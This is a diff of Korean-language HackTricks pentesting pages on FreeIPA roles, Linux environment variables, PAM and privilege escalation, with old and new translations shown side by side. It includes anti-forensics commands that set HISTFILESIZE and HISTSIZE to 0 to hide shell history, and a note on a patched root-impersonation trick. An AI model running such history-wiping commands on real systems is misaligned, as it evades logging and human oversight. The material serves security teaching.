**역할**은 여러 **권한**으로 구성되어 있으며, 각 권한은 **허가**의 모음을 포함합니다. 이러한 역할은 사용자, 사용자 **그룹**, **호스트**, 호스트 그룹 및 서비스에 할당할 수 있습니다. 예를 들어, 이 구조를 보여주기 위해 FreeIPA의 기본 "사용자 관리자" 역할을 고려해 보겠습니다. A **role**는 다양한 **privileges**로 구성되며, 각 **privilege**는 **permissions**의 모음을 포함합니다. 이러한 역할은 사용자, 사용자 **그룹**, **호스트**, 호스트 그룹 및 서비스에 할당될 수 있습니다. 예를 들어, 이 구조를 설명하기 위해 FreeIPA의 기본 “User Administrator” 역할을 고려해 보십시오.
`사용자 관리자` 역할에는 다음과 같은 권한이 있습니다: 역할 `User Administrator`는 다음과 같은 권한을 가지고 있습니다:
- **사용자 관리자** * **User Administrators**
- **그룹 관리자** * **Group Administrators**
- **단계 사용자 관리자** * **Stage User Administrators**
다음 명령을 사용하여 역할, 권한 및 허가를 나열할 수 있습니다: 다음 명령어를 사용하여 역할, 권한 및 권한을 나열할 수 있습니다:
```bash ```bash
# Using ldap # Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -172,21 +173,21 @@ ipa permission-show <permission> --all
``` ```
### 공격 시나리오 예시 ### 공격 시나리오 예시
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e)에서 도메인을 compromise하기 위해 일부 권한을 악용하는 간단한 예제를 찾을 수 있습니다. [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e)에서 도메인을 손상시키기 위해 일부 권한을 악용하는 간단한 예시를 찾을 수 있습니다.
### Linikatz/LinikatzV2 ### Linikatz/LinikatzV2
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2) * [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz) * [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Privesc ## 권한 상승
### ~~루트 사용자 생성~~ ### ~~root 사용자 생성~~
{% hint style="warning" %} {% hint style="warning" %}
만약 **`root`**라는 이름의 새로운 사용자를 **생성할 수 있다면**, 그를 흉내내어 **어떤 머신에서든 root로 SSH할 수 있습니다.** 만약 **`root`라는 이름의 새 사용자를 생성할 수 있다면**, 당신은 그를 가장할 수 있으며 **어떤 머신에도 root로 SSH 접속할 수 있습니다.**
**이 패치되었습니다.** **이것은 패치되었습니다.**
{% endhint %} {% endhint %}
자세한 설명은 [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)에서 확인할 수 있습니다. 자세한 설명은 [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)에서 확인할 수 있습니다.
@ -198,16 +199,17 @@ ipa permission-show <permission> --all
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ) * [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 리눅스 환경 변수 # Linux 환경 변수
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -24,22 +25,22 @@ HackTricks를 지원하는 다른 방법:
## 전역 변수 ## 전역 변수
전역 변수는 **자식 프로세스에게 상속**됩니다. 전역 변수는 **자식 프로세스**에 의해 **상속됩니다**.
현재 세션에 대한 전역 변수를 만들려면 다음을 수행할 수 있습니다: 현재 세션을 위해 전역 변수를 생성하려면 다음을 수행하세요:
```bash ```bash
export MYGLOBAL="hello world" export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world echo $MYGLOBAL #Prints: hello world
``` ```
이 변수는 현재 세션 및 해당 하위 프로세스에서 접근할 수 있습니다. 이 변수는 현재 세션과 그 자식 프로세스에서 접근할 수 있습니다.
다음을 수행하여 변수를 **제거**할 수 있습니다: 변수를 **제거**하려면 다음을 수행하십시오:
```bash ```bash
unset MYGLOBAL unset MYGLOBAL
``` ```
## 로컬 변수 ## Local variables
**로컬 변수**는 현재 쉘/스크립트에서만 **액세스**할 수 있습니다. **로컬 변수**는 **현재 셸/스크립트**에서만 **접근**할 수 있습니다.
```bash ```bash
LOCAL="my local" LOCAL="my local"
echo $LOCAL echo $LOCAL
@ -53,61 +54,61 @@ printenv
cat /proc/$$/environ cat /proc/$$/environ
cat /proc/`python -c "import os; print(os.getppid())"`/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ
``` ```
## 일반 변수 ## Common variables
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** **X**에서 사용하는 디스플레이. 이 변수는 일반적으로 현재 컴퓨터의 첫 번째 디스플레이인 **:0.0**로 설정됩니다. * **DISPLAY** **X**에서 사용하는 디스플레이. 이 변수는 보통 **:0.0**으로 설정되며, 이는 현재 컴퓨터의 첫 번째 디스플레이를 의미합니다.
* **EDITOR** 사용자가 선호하는 텍스트 편집기. * **EDITOR** 사용자가 선호하는 텍스트 편집기.
* **HISTFILESIZE** 히스토리 파일에 포함된 최대 라인 수. * **HISTFILESIZE** 히스토리 파일에 포함된 최대 라인 수.
* **HISTSIZE** 사용자가 세션을 종료할 때 히스토리 파일에 추가되는 라인 수 * **HISTSIZE** 사용자가 세션을 종료할 때 히스토리 파일에 추가되는 라인 수.
* **HOME** 홈 디렉토리. * **HOME** 홈 디렉토리.
* **HOSTNAME** 컴퓨터의 호스트 이름. * **HOSTNAME** 컴퓨터의 호스트 이름.
* **LANG** 현재 언어. * **LANG** 현재 언어.
* **MAIL** 사용자 메일 스풀의 위치. 일반적으로 **/var/spool/mail/USER**. * **MAIL** 사용자의 메일 스풀 위치. 보통 **/var/spool/mail/USER**.
* **MANPATH** 매뉴얼 페이지를 검색할 디렉토리 목록. * **MANPATH** 매뉴얼 페이지를 검색할 디렉토리 목록.
* **OSTYPE** 운영 체제 유형. * **OSTYPE** 운영 체제 유형.
* **PS1** bash의 기본 프롬프트. * **PS1** bash의 기본 프롬프트.
* **PATH** 실행하려는 이진 파일이 있는 모든 디렉토리의 경로를 저장하며, 파일의 이름만 지정하여 상대 또는 절대 경로를 사용하지 않고 실행할 수 있습니다. * **PATH** 파일 이름만 지정하여 실행하고자 하는 바이너리 파일이 있는 모든 디렉토리의 경로를 저장합니다.
* **PWD** 현재 작업 디렉토리. * **PWD** 현재 작업 디렉토리.
* **SHELL** 현재 명령 셸의 경로 (예: **/bin/bash**). * **SHELL** 현재 명령 셸의 경로 (예: **/bin/bash**).
* **TERM** 현재 터미널 유형 (예: **xterm**). * **TERM** 현재 터미널 유형 (예: **xterm**).
* **TZ** 사용자의 시간대. * **TZ** 시간대.
* **USER** 현재 사용자 이름. * **USER** 현재 사용자 이름.
## 해킹에 흥미로운 변수 ## Interesting variables for hacking
### **HISTFILESIZE** ### **HISTFILESIZE**
**이 변수의 값을 0으로 변경**하여 세션을 **종료할 때 히스토리 파일** (\~/.bash\_history) **이 삭제**되도록 합니다. 이 변수의 **값을 0으로 변경**하면, **세션을 종료할 때** **히스토리 파일** (\~/.bash\_history) **이 삭제됩니다**.
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
### **HISTSIZE** ### **HISTSIZE**
변수의 **값을 0으로 변경**하여 세션을 **종료할 때** 어떤 명령어도 **히스토리 파일** (\~/.bash\_history)에 추가되지 않도록 합니다. **변수의 값을 0으로 변경**하세요. 그러면 **세션을 종료할 때** 어떤 명령도 **히스토리 파일**(\~/.bash\_history)에 추가되지 않습니다.
```bash ```bash
export HISTSIZE=0 export HISTSIZE=0
``` ```
### http\_proxy & https\_proxy ### http\_proxy & https\_proxy
프로세스는 여기에 선언된 **프록시**를 사용하여 **http 또는 https**를 통해 인터넷에 연결니다. 프로세스는 **http 또는 https**를 통해 인터넷에 연결하기 위해 여기에서 선언된 **프록시**를 사용할 것입니다.
```bash ```bash
export http_proxy="http://10.10.10.10:8080" export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080"
``` ```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR ### SSL\_CERT\_FILE & SSL\_CERT\_DIR
프로세스는 **이 환경 변수에서** 지정된 인증서를 신뢰합니다. 프로세스는 **이 환경 변수**에 표시된 인증서를 신뢰합니다.
```bash ```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates export SSL_CERT_DIR=/path/to/ca-certificates
``` ```
### PS1 ### PS1
프롬프트 모양을 변경합니다. 프롬프트 모양을 변경합니다.
[**이것은 예시입니다**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) [**예시입니다**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
루트: 루트:
@ -117,11 +118,11 @@ export SSL_CERT_DIR=/path/to/ca-certificates
![](<../.gitbook/assets/image (740).png>) ![](<../.gitbook/assets/image (740).png>)
하나, 둘, 셋이 백그라운드로 실행 중인 작업: 백그라운드 작업이 하나, 둘, 셋:
![](<../.gitbook/assets/image (145).png>) ![](<../.gitbook/assets/image (145).png>)
하나의 백그라운드 작업, 하나는 멈추고 마지막 명령이 올바르게 완료되지 않음: 하나의 백그라운드 작업, 하나의 정지된 작업, 마지막 명령이 올바르게 완료되지 않음:
![](<../.gitbook/assets/image (715).png>) ![](<../.gitbook/assets/image (715).png>)
@ -131,16 +132,17 @@ export SSL_CERT_DIR=/path/to/ca-certificates
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
</details> </details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# PAM - Pluggable Authentication Modules # PAM - Pluggable Authentication Modules
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 활용한 검색 엔진으로, **무료** 기능을 제공하여 회사나 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**되었는지 확인할 수 있습니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
### 기본 정보 ### Basic Information
**PAM (Pluggable Authentication Modules)**은 **컴퓨터 서비스에 액세스하려는 사용자의 신원을 확인**하고, 다양한 기준에 따라 그들의 액세스를 제어하는 보안 메커니즘으로 작동합니다. 이는 특정 서비스와 상호 작용할 수 있는 권한이 있는 사용자만이 시스템 오버로드를 방지하고 사용량을 제한할 수 있도록 하는 디지털 관리자와 같습니다. **PAM (Pluggable Authentication Modules)****컴퓨터 서비스에 접근하려는 사용자의 신원을 확인하는** 보안 메커니즘으로, 다양한 기준에 따라 접근을 제어합니다. 이는 디지털 게이트키퍼와 유사하여, 권한이 있는 사용자만 특정 서비스에 참여할 수 있도록 보장하며, 시스템 과부하를 방지하기 위해 사용을 제한할 수 있습니다.
#### 구성 파일 #### Configuration Files
* **Solaris 및 UNIX 기반 시스템**은 일반적으로 `/etc/pam.conf`에 위치한 중앙 구성 파일을 사용합니다. * **Solaris 및 UNIX 기반 시스템**은 일반적으로 `/etc/pam.conf`에 위치한 중앙 구성 파일을 사용합니다.
* **Linux 시스템**은 디렉토리 접근 방식을 선호하며, 서비스별 구성을 `/etc/pam.d`에 저장합니다. 예를 들어, 로그인 서비스의 구성 파일은 `/etc/pam.d/login`에 있습니다. * **Linux 시스템**은 디렉토리 방식을 선호하며, `/etc/pam.d` 서비스별 구성을 저장합니다. 예를 들어, 로그인 서비스의 구성 파일은 `/etc/pam.d/login`에 있습니다.
로그인 서비스를 위한 PAM 구성 예시는 다음과 같을 수 있습니다: 로그인 서비스에 대한 PAM 구성 예시는 다음과 같을 수 있습니다:
``` ```
auth required /lib/security/pam_securetty.so auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so auth required /lib/security/pam_nologin.so
@ -52,27 +53,27 @@ session required /lib/security/pam_unix_session.so
``` ```
#### **PAM 관리 영역** #### **PAM 관리 영역**
러한 영역 또는 관리 그룹에는 **auth**, **account**, **password**, **session**이 포함되어 있으며 각각 인증 및 세션 관리 프로세스의 다른 측면을 담당합니다: 영역, 또는 관리 그룹은 **auth**, **account**, **password**, **session**을 포함하며, 각각 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다:
- **Auth**: 종종 암호를 요청하여 사용자 식별을 유효화합니다. * **Auth**: 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다.
- **Account**: 그룹 멤버십 또는 시간 제한과 같은 조건을 확인하여 계정 확인을 처리합니다. * **Account**: 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다.
- **Password**: 복잡성 확인 또는 사전 공격 방지를 포함한 암호 업데이트를 관리합니다. * **Password**: 복잡성 검사 또는 사전 공격 방지를 포함하여 비밀번호 업데이트를 관리합니다.
- **Session**: 서비스 세션의 시작 또는 종료 중에 작업을 관리합니다. 예를 들어 디렉터리를 마운트하거나 리소스 제한을 설정합니다. * **Session**: 서비스 세션의 시작 또는 종료 시 작업을 관리하며, 디렉토리 마운트 또는 리소스 제한 설정과 같은 작업을 포함합니다.
#### **PAM 모듈 제어** #### **PAM 모듈 제어**
제어는 모듈의 성공 또는 실패에 대한 응답을 지시하며 전체 인증 프로세스에 영향을 줍니다. 이러한 제어에는 다음이 포함됩니다: 제어는 모듈의 성공 또는 실패에 대한 반응을 결정하며, 전체 인증 프로세스에 영향을 미칩니다. 여기에는 다음이 포함됩니다:
- **Required**: 필수 모듈의 실패는 최종적으로 실패로 이어지지만 모든 후속 모듈이 확인된 후에만 발생합니다. * **Required**: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다.
- **Requisite**: 실패 시 즉시 프로세스 종료. * **Requisite**: 실패 시 즉시 프로세스 종료합니다.
- **Sufficient**: 성공은 후속 모듈이 실패할 때까지 동일한 영역의 확인을 우회합니다. * **Sufficient**: 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다.
- **Optional**: 스택에서 유일한 모듈인 경우에만 실패를 유발합니다. * **Optional**: 스택에서 유일한 모듈일 경우에만 실패를 유발합니다.
#### 예시 시나리오 #### 예시 시나리오
여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 무단으로 사용되었다고 판단하면 루트 로그인이 차단되지만 "required" 상태 때문에 모든 모듈이 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 개선할 수 있습니다. `pam_ldap``pam_unix` 모듈은 사용자를 인증하기 위해 함께 작동하며, `pam_unix`는 이전에 제공된 암호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 향상시킵니다. 여러 auth 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면, root 로그인이 차단되지만, "required" 상태로 인해 모든 모듈은 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap``pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.
### 참고 자료 ### References
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
@ -80,24 +81,25 @@ session required /lib/security/pam_unix_session.so
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사 또는 그 고객이 **stealer malwares**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)은 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **compromised**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 대응하는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시도해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,79 +1,80 @@
# 체크리스트 - Linux 권한 상승 # 체크리스트 - 리눅스 권한 상승
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
